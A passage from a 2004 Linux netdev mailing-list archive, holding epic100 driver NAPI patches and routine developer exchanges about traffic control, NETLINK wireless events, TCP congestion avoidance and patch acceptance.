epic_start_xmit(struct sk_buff *skb, struct net_device *dev); -static int epic_rx(struct net_device *dev); +static int epic_rx(struct net_device *dev, int budget); +static int epic_poll(struct net_device *dev, int *budget); static irqreturn_t epic_interrupt(int irq, void *dev_instance, struct pt_regs *regs); static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static struct ethtool_ops netdev_ethtool_ops; @@ -493,6 +501,9 @@ static int __devinit epic_init_one (stru ep->pci_dev = pdev; ep->chip_id = chip_idx; ep->chip_flags = pci_id_tbl[chip_idx].drv_flags; + ep->irq_mask = + (ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) + | CntFull | TxUnderrun | TxDone | TxEmpty | EpicNapiEvent; /* Find the connected MII xcvrs. Doing this in open() would allow detecting external xcvrs later, but @@ -547,6 +558,8 @@ static int __devinit epic_init_one (stru dev->ethtool_ops = &netdev_ethtool_ops; dev->watchdog_timeo = TX_TIMEOUT; dev->tx_timeout = &epic_tx_timeout; + dev->poll = epic_poll; + dev->weight = 64; ret = register_netdev(dev); if (ret < 0) @@ -608,6 +621,29 @@ static void epic_disable_int(struct net_ outl(0x00000000, ioaddr + INTMASK); } +static inline void __epic_pci_commit(long ioaddr) +{ +#ifndef USE_IO_OPS + inl(ioaddr + INTMASK); +#endif +} + +static void epic_napi_irq_off(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + + outl(ep->irq_mask & ~EpicNapiEvent, ioaddr + INTMASK); + __epic_pci_commit(ioaddr); +} + +static void epic_napi_irq_on(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + + /* No need to commit possible posted write */ + outl(ep->irq_mask | EpicNapiEvent, ioaddr + INTMASK); +} + static int __devinit read_eeprom(long ioaddr, int location) { int i; @@ -769,8 +805,7 @@ static int epic_open(struct net_device * /* Enable interrupts by setting the interrupt mask. */ outl((ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) | CntFull | TxUnderrun | TxDone | TxEmpty - | RxError | RxOverflow | RxFull | RxHeader | RxDone, - ioaddr + INTMASK); + | RxError | RxHeader | EpicNapiEvent, ioaddr + INTMASK); if (debug > 1) printk(KERN_DEBUG "%s: epic_open() ioaddr %lx IRQ %d status %4.4x " @@ -811,7 +846,7 @@ static void epic_pause(struct net_device } /* Remove the packets on the Rx queue. */ - epic_rx(dev); + epic_rx(dev, RX_RING_SIZE); } static void epic_restart(struct net_device *dev) @@ -858,8 +893,8 @@ static void epic_restart(struct net_devi /* Enable interrupts by setting the interrupt mask. */ outl((ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) | CntFull | TxUnderrun | TxDone | TxEmpty - | RxError | RxOverflow | RxFull | RxHeader | RxDone, - ioaddr + INTMASK); + | RxError | RxHeader | EpicNapiEvent, ioaddr + INTMASK); + printk(KERN_DEBUG "%s: epic_restart() done, cmd status %4.4x, ctl %4.4x" " interrupt %4.4x.\n", dev->name, (int)inl(ioaddr + COMMAND), (int)inl(ioaddr + GENCTL), @@ -945,7 +980,8 @@ static void epic_init_ring(struct net_de int i; ep->tx_full = 0; - ep->lock = (spinlock_t) SPIN_LOCK_UNLOCKED; + spin_lock_init(&ep->lock); + spin_lock_init(&ep->napi_lock); ep->dirty_tx = ep->cur_tx = 0; ep->cur_rx = ep->dirty_rx = 0; ep->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); @@ -1131,7 +1167,7 @@ static irqreturn_t epic_interrupt(int ir do { status = inl(ioaddr + INTSTAT); /* Acknowledge all of the current interrupt sources ASAP. */ - outl(status & 0x00007fff, ioaddr + INTSTAT); + outl(status & EpicNormalEvent, ioaddr + INTSTAT); if (debug > 4) printk(KERN_DEBUG "%s: Interrupt, status=%#8.8x new " @@ -1142,16 +1178,22 @@ static irqreturn_t epic_interrupt(int ir break; handled = 1; - if (status & (RxDone | RxStarted | RxEarlyWarn | RxOverflow)) - epic_rx(dev); + if (status & EpicNapiEvent) { + spin_lock(&ep->napi_lock); + if (netif_rx_schedule_prep(dev)) { + epic_napi_irq_off(dev, ep); + __netif_rx_schedule(dev); + } + spin_unlock(&ep->napi_lock); + } if (status & (TxEmpty | TxDone)) epic_tx(dev, ep); /* Check uncommon events all at once. */ - if (status & (CntFull | TxUnderrun | RxOverflow | RxFull | - PCIBusErr170 | PCIBusErr175)) { - if (status == 0xffffffff) /* Chip failed or removed (CardBus). */ + if (status & + (CntFull | TxUnderrun | PCIBusErr170 | PCIBusErr175)) { + if (status == EpicRemoved) break; /* Always update the error counts to avoid overhead later. */ ep->stats.rx_missed_errors += inb(ioaddr + MPCNT); @@ -1164,11 +1206,6 @@ static irqreturn_t epic_interrupt(int ir /* Restart the transmit process. */ outl(RestartTx, ioaddr + COMMAND); } - if (status & RxOverflow) { /* Missed a Rx frame. */ - ep->stats.rx_errors++; - } - if (status & (RxOverflow | RxFull)) - outw(RxQueued, ioaddr + COMMAND); if (status & PCIBusErr170) { printk(KERN_ERR "%s: PCI Bus Error! EPIC status %4.4x.\n", dev->name, status); @@ -1178,6 +1215,8 @@ static irqreturn_t epic_interrupt(int ir /* Clear all error sources. */ outl(status & 0x7f18, ioaddr + INTSTAT); } + if (status & EpicNormalEvent) + break; if (--boguscnt < 0) { printk(KERN_ERR "%s: Too much work at interrupt, " "IntrStatus=0x%8.8x.\n", @@ -1195,7 +1234,7 @@ static irqreturn_t epic_interrupt(int ir return IRQ_RETVAL(handled); } -static int epic_rx(struct net_device *dev) +static int epic_rx(struct net_device *dev, int budget) { struct epic_private *ep = dev->priv; int entry = ep->cur_rx % RX_RING_SIZE; @@ -1205,6 +1244,10 @@ static int epic_rx(struct net_device *de if (debug > 4) printk(KERN_DEBUG " In epic_rx(), entry %d %8.8x.\n", entry, ep->rx_ring[entry].rxstatus); + + if (rx_work_limit > budget) + rx_work_limit = budget; + /* If we own the next entry, it's a new packet. Send it up. */ while ((ep->rx_ring[entry].rxstatus & cpu_to_le32(DescOwn)) == 0) { int status = le32_to_cpu(ep->rx_ring[entry].rxstatus); @@ -1265,7 +1308,7 @@ static int epic_rx(struct net_device *de ep->rx_skbuff[entry] = NULL; } skb->protocol = eth_type_trans(skb, dev); - netif_rx(skb); + netif_receive_skb(skb); dev->last_rx = jiffies; ep->stats.rx_packets++; ep->stats.rx_bytes += pkt_len; @@ -1293,6 +1336,58 @@ static int epic_rx(struct net_device *de return work_done; } +static void epic_rx_err(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + int status; + + status = inl(ioaddr + INTSTAT); + + if (status == EpicRemoved) + return; + if (status & RxOverflow) /* Missed a Rx frame. */ + ep->stats.rx_errors++; + if (status & (RxOverflow | RxFull)) + outw(RxQueued, ioaddr + COMMAND); +} + +static int epic_poll(struct net_device *dev, int *budget) +{ + struct epic_private *ep = dev->priv; + int work_done, orig_budget; + long ioaddr = dev->base_addr; + + orig_budget = (*budget > dev->quota) ? dev->quota : *budget; + +rx_action: + outl(EpicNapiEvent, ioaddr + INTSTAT); + + work_done = epic_rx(dev, *budget); + + epic_rx_err(dev, ep); + + *budget -= work_done; + dev->quota -= work_done; + + if (netif_running(dev) && (work_done < orig_budget)) { + unsigned long flags; + int status; + + spin_lock_irqsave(&ep->napi_lock, flags); + epic_napi_irq_on(dev, ep); + __netif_rx_complete(dev); + spin_unlock_irqrestore(&ep->napi_lock, flags); + + status = inl(ioaddr + INTSTAT); + if (status & EpicNapiEvent) { + epic_napi_irq_off(dev, ep); + goto rx_action; + } + } + + return (work_done >= orig_budget); +} + static int epic_close(struct net_device *dev) { long ioaddr = dev->base_addr; _ From romieu@fr.zoreil.com Mon Mar 22 15:57:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 15:57:13 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MNv8KO026297 for ; Mon, 22 Mar 2004 15:57:09 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2MNrtgf001995; Tue, 23 Mar 2004 00:53:55 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2MNrsmG001994; Tue, 23 Mar 2004 00:53:55 +0100 Date: Tue, 23 Mar 2004 00:53:54 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 4/4] 2.6.5-rc2 - epic100 napi Message-ID: <20040323005354.E1715@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <20040323005021.A1715@electric-eye.fr.zoreil.com> <20040323005114.B1715@electric-eye.fr.zoreil.com> <20040323005218.C1715@electric-eye.fr.zoreil.com> <20040323005312.D1715@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040323005312.D1715@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Tue, Mar 23, 2004 at 12:53:12AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4188 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 3435 Lines: 95 TX NAPI. drivers/net/epic100.c | 20 +++++++++----------- 1 files changed, 9 insertions(+), 11 deletions(-) diff -puN drivers/net/epic100.c~epic100-napi-20 drivers/net/epic100.c --- linux-2.6.5-rc2/drivers/net/epic100.c~epic100-napi-20 2004-03-23 00:18:40.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/epic100.c 2004-03-23 00:18:40.000000000 +0100 @@ -96,8 +96,8 @@ static int rx_copybreak; Making the Tx ring too large decreases the effectiveness of channel bonding and packet priority. There are no ill effects from too-large receive rings. */ -#define TX_RING_SIZE 16 -#define TX_QUEUE_LEN 10 /* Limit ring entries actually used. */ +#define TX_RING_SIZE 256 +#define TX_QUEUE_LEN 240 /* Limit ring entries actually used. */ #define RX_RING_SIZE 256 #define TX_TOTAL_SIZE TX_RING_SIZE*sizeof(struct epic_tx_desc) #define RX_TOTAL_SIZE RX_RING_SIZE*sizeof(struct epic_rx_desc) @@ -294,7 +294,8 @@ enum CommandBits { #define EpicRemoved 0xffffffff /* Chip failed or removed (CardBus) */ -#define EpicNapiEvent (RxDone | RxStarted | RxEarlyWarn | RxOverflow | RxFull) +#define EpicNapiEvent (TxEmpty | TxDone | \ + RxDone | RxStarted | RxEarlyWarn | RxOverflow | RxFull) #define EpicNormalEvent (0x0000ffff & ~EpicNapiEvent) static u16 media2miictl[16] = { @@ -503,7 +504,7 @@ static int __devinit epic_init_one (stru ep->chip_flags = pci_id_tbl[chip_idx].drv_flags; ep->irq_mask = (ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) - | CntFull | TxUnderrun | TxDone | TxEmpty | EpicNapiEvent; + | CntFull | TxUnderrun | EpicNapiEvent; /* Find the connected MII xcvrs. Doing this in open() would allow detecting external xcvrs later, but @@ -804,7 +805,7 @@ static int epic_open(struct net_device * /* Enable interrupts by setting the interrupt mask. */ outl((ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) - | CntFull | TxUnderrun | TxDone | TxEmpty + | CntFull | TxUnderrun | RxError | RxHeader | EpicNapiEvent, ioaddr + INTMASK); if (debug > 1) @@ -892,7 +893,7 @@ static void epic_restart(struct net_devi /* Enable interrupts by setting the interrupt mask. */ outl((ep->chip_flags & TYPE2_INTR ? PCIBusErr175 : PCIBusErr170) - | CntFull | TxUnderrun | TxDone | TxEmpty + | CntFull | TxUnderrun | RxError | RxHeader | EpicNapiEvent, ioaddr + INTMASK); printk(KERN_DEBUG "%s: epic_restart() done, cmd status %4.4x, ctl %4.4x" @@ -1111,7 +1112,6 @@ static void epic_tx(struct net_device *d * Note: if this lock becomes a problem we can narrow the locked * region at the cost of occasionally grabbing the lock more times. */ - spin_lock(&ep->lock); cur_tx = ep->cur_tx; for (dirty_tx = ep->dirty_tx; cur_tx - dirty_tx > 0; dirty_tx++) { struct sk_buff *skb; @@ -1150,7 +1150,6 @@ static void epic_tx(struct net_device *d ep->tx_full = 0; netif_wake_queue(dev); } - spin_unlock(&ep->lock); } @@ -1187,9 +1186,6 @@ static irqreturn_t epic_interrupt(int ir spin_unlock(&ep->napi_lock); } - if (status & (TxEmpty | TxDone)) - epic_tx(dev, ep); - /* Check uncommon events all at once. */ if (status & (CntFull | TxUnderrun | PCIBusErr170 | PCIBusErr175)) { @@ -1362,6 +1358,8 @@ static int epic_poll(struct net_device * rx_action: outl(EpicNapiEvent, ioaddr + INTSTAT); + epic_tx(dev, ep); + work_done = epic_rx(dev, *budget); epic_rx_err(dev, ep); _ From gf.dellicarri@ncc.itgate.net Mon Mar 22 17:02:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 17:02:50 -0800 (PST) Received: from starsky.ncc.itgate.net (starsky.ncc.itgate.net [213.254.7.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N12hKO031962 for ; Mon, 22 Mar 2004 17:02:44 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message Subject: Kernel 2.4.25 + VLAN + CBQ disc broken ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 23 Mar 2004 02:02:36 +0100 Message-ID: <4008E74134355D43998FFFC3D637BB030463DF@starsky.ncc.itgate.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Kernel 2.4.25 + VLAN + CBQ disc broken ? Thread-Index: AcQQcofhLtPAk/9jSNOWOzV1ZAlIng== From: "Gianfranco Delli Carri" To: Cc: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2N12hKO031962 X-archive-position: 4190 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gf.dellicarri@ncc.itgate.net Precedence: bulk X-list: netdev Content-Length: 449 Lines: 19 Greetigs, seems that in a 2.4.25 kernel, with VLAN configured, if you try tu use CBQ disc on VLAN subIf no more traffic can be passed. (NO ARP, NO IP) Just after: /sbin/tc qdisc add dev eth1.10 root handle 1 cbq bandwidth 100Mbit avpkt 1000 cell 8 traffic was dropped. Seems that in the same server enviroment the CBQ disc attached to the untagged interface can work without problems. Thanks in advance for your help. Regards, Gianfranco From hadi@cyberus.ca Mon Mar 22 17:28:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 17:28:34 -0800 (PST) Received: from mx03.cybersurf.com (mx03.cybersurf.com [209.197.145.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N1SUKO001338 for ; Mon, 22 Mar 2004 17:28:31 -0800 Received: from mail.cyberus.ca ([209.197.145.21]) by mx03.cybersurf.com with esmtp (Exim 4.20) id 1B5Pg1-0007ln-H1 for netdev@oss.sgi.com; Mon, 22 Mar 2004 08:41:13 -0500 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1B5Pfd-0007Ka-5E; Mon, 22 Mar 2004 08:40:49 -0500 Subject: Re: [PATCH] packet delay scheduler From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: shemminger@osdl.org, netdev@oss.sgi.com, lartc@mailman.ds9a.nl In-Reply-To: <20040319142112.0ad562fe.davem@redhat.com> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> <1079707927.1032.42.camel@jzny.localdomain> <20040319142112.0ad562fe.davem@redhat.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1079962807.1039.1259.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 22 Mar 2004 08:40:07 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 4191 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 464 Lines: 15 On Fri, 2004-03-19 at 17:21, David S. Miller wrote: > But for now we can put Stephen's delay scheduler in the tree, and I > don't see any real problem with that until your tc action changes > are ready for integration. Absolutely - sorry intent was just to motivate not reject. I would say the extension patches are ready for inclusion but we can take that offline. I have a few people testing them under more rigorous conditions at the moment. cheers, jamal From pavlin@icir.org Mon Mar 22 18:12:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 18:12:45 -0800 (PST) Received: from possum.icir.org (possum.icir.org [192.150.187.67]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N2CgKO003332 for ; Mon, 22 Mar 2004 18:12:43 -0800 Received: from possum.icir.org (localhost [127.0.0.1]) by possum.icir.org (8.12.9p1/8.12.8) with ESMTP id i2N2CeRj069721; Mon, 22 Mar 2004 18:12:41 -0800 (PST) (envelope-from pavlin@possum.icir.org) Message-Id: <200403230212.i2N2CeRj069721@possum.icir.org> To: hostap@shmoo.com, netdev@oss.sgi.com Cc: pavlin@icir.org Subject: NETLINK upcalls and wireless events Date: Mon, 22 Mar 2004 18:12:40 -0800 From: Pavlin Radoslavov X-archive-position: 4192 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pavlin@icir.org Precedence: bulk X-list: netdev Content-Length: 2407 Lines: 64 [Apology for the cross-post, but I am not sure which is the right mailing list for this question] BACKGROUND: I am using Linux NETLINK sockets to monitor network interface events in the kernel such as "interface added/deleted", "address added/deleted", etc. The RTM_NEWLINK message type upcall from the kernel to user-space is used to signal that a new network interface has been created (e.g., a tunnel interface, a PC-Card has been inserted, etc). One of the attributes of that message (see rtnetlink(7)) is IFLA_IFNAME and is used to store the device name (e.g., "tun0", "eth0", etc). PROBLEM: So far everything worked fine on a desktop: whenever I add a tunnel, the kernel sends to user-space RTM_NEWLINK, I check the IFLA_IFNAME attribute to get the name of the new interface, etc. However, a fellow tried same software on a laptop in wireless environment, and then RTM_NEWLINK messages started to appear for no apparent reason. Those messages did not contain the IFLA_IFNAME attribute which was strange and I started to suspect that it could be a kernel bug. After some investigation I found that the RTM_NEWLINK message can be generated not only when there is a new interface, but in some other cases as well. Inside file linux/wireless.h (I am looking into version 15 from 12.7.02) I found the following comment: /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ In other words, some wireless events may also generate RTM_NEWLINK message as well. I don't have a laptop with Linux to verify that myself, but I am quite sure that some wireless events do generate RTM_NEWLINK with no IFLA_IFNAME. QUESTION: If I receive an RTM_NEWLINK message, is there a reliable way to find-out whether the message is generated because of a wireless event or because indeed there is a new network interface installed in the kernel. Checking whether the message contains the IFLA_WIRELESS field is probably not an option, because I may be compiling the code on a slightly older Linux box that doesn't have IFLA_WIRELESS defined. The only solution I have so far is to check whether the message contains the IFLA_IFNAME field, but this is more like a work-around rather than a solution. Any suggestions? Thanks, Pavlin From davem@redhat.com Mon Mar 22 18:29:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 18:29:13 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N2T7KO004022 for ; Mon, 22 Mar 2004 18:29:08 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2N2SxWA008198; Mon, 22 Mar 2004 21:28:59 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2N2Sxj13568; Mon, 22 Mar 2004 21:28:59 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2N2Sg1n010672; Mon, 22 Mar 2004 21:28:42 -0500 Date: Mon, 22 Mar 2004 18:28:58 -0800 From: "David S. Miller" To: "m k" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Linux TCP implementation Message-Id: <20040322182858.50e49a9e.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4193 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 733 Lines: 19 [ Post stuff like this to netdev@oss.sgi.com or linux-net@vger.kernel.org, most net developers do not read linux-kernel, thanks. ] On Mon, 22 Mar 2004 20:58:46 +0000 "m k" wrote: > Also, if the snd_cwnd is maintained in terms of packets and snd_ssthresh > and > snd_cwnd_clamp is maintained in terms of bytes, how come the comparison > between them. All of the congestion variables are maintained in terms of packets. The function you quote, tcp_cong_avoid(), determines if we increase the congestion window exponentially (when snd_cwnd is less than or equal to snd_ssthresh) or linearlly (when snd_cwnd is more than snd_ssthresh). This is bog-standard Van Jacobson congestion avoidance, nothing fancy. From davem@redhat.com Mon Mar 22 18:36:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 18:37:03 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N2alKO004498 for ; Mon, 22 Mar 2004 18:36:48 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2N2ahWA010615; Mon, 22 Mar 2004 21:36:43 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2N2ahj15229; Mon, 22 Mar 2004 21:36:43 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2N2aP1n012909; Mon, 22 Mar 2004 21:36:26 -0500 Date: Mon, 22 Mar 2004 18:36:41 -0800 From: "David S. Miller" To: Wensong Zhang Cc: ja@ssi.bg, netdev@oss.sgi.com Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes Message-Id: <20040322183641.68ecb8a3.davem@redhat.com> In-Reply-To: References: <20040321230703.408d2240.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4194 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 351 Lines: 11 On Tue, 23 Mar 2004 00:58:38 +0800 (CST) Wensong Zhang wrote: > Dave, please check the attached patches. There are three patches for 2.4, > and two for 2.6. I am going to apply everything except the ip_vs_ctl.c change as Julian has tol me under seperate cover that the locking he adds there is not really necessary. Thanks. From davem@redhat.com Mon Mar 22 18:51:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 18:51:19 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N2pBKO005068 for ; Mon, 22 Mar 2004 18:51:12 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2N2ovWA014603; Mon, 22 Mar 2004 21:50:57 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2N2ouj18307; Mon, 22 Mar 2004 21:50:56 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2N2od1n017454; Mon, 22 Mar 2004 21:50:40 -0500 Date: Mon, 22 Mar 2004 18:50:55 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, lartc@mailman.ds9a.nl Subject: Re: [PATCH] packet delay scheduler Message-Id: <20040322185055.306f52f2.davem@redhat.com> In-Reply-To: <20040319104705.3e99522c@dell_ss3.pdx.osdl.net> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> <20040318205346.3fd7829d.davem@redhat.com> <20040319104705.3e99522c@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4195 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 140 Lines: 6 On Fri, 19 Mar 2004 10:47:05 -0800 Stephen Hemminger wrote: > Okay, here is a 2.4 version. Applied, thanks Stephen. From yoshfuji@linux-ipv6.org Mon Mar 22 19:49:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 19:49:53 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N3nmKO006687 for ; Mon, 22 Mar 2004 19:49:49 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 11EC533CA5; Tue, 23 Mar 2004 12:49:49 +0900 (JST) Date: Tue, 23 Mar 2004 12:49:48 +0900 (JST) Message-Id: <20040323.124948.50721347.yoshfuji@linux-ipv6.org> To: John.Pinkney@spirentcom.com Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: New ARPHRD type From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <629E717C12A8694A88FAA6BEF9FFCD440550CACB@brigadoon.spirentcom.com> References: <629E717C12A8694A88FAA6BEF9FFCD440550CACB@brigadoon.spirentcom.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4196 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 434 Lines: 9 In article <629E717C12A8694A88FAA6BEF9FFCD440550CACB@brigadoon.spirentcom.com> (at Mon, 22 Mar 2004 19:41:38 -0800), "Pinkney, John" says: > Can anyone tell me how I would go about getting a new ARPHRD type defined? Please send a patch (with its users) to . -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From dtor@coreip.homeip.net Mon Mar 22 22:09:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 22:09:46 -0800 (PST) Received: from smtp813.mail.sc5.yahoo.com (smtp813.mail.sc5.yahoo.com [66.163.170.83]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2N69XKO014334 for ; Mon, 22 Mar 2004 22:09:35 -0800 Received: from unknown (HELO coreip.homeip.net) (dtor?core@ameritech.net@68.251.103.1 with login) by smtp813.mail.sc5.yahoo.com with SMTP; 23 Mar 2004 06:09:32 -0000 Received: from 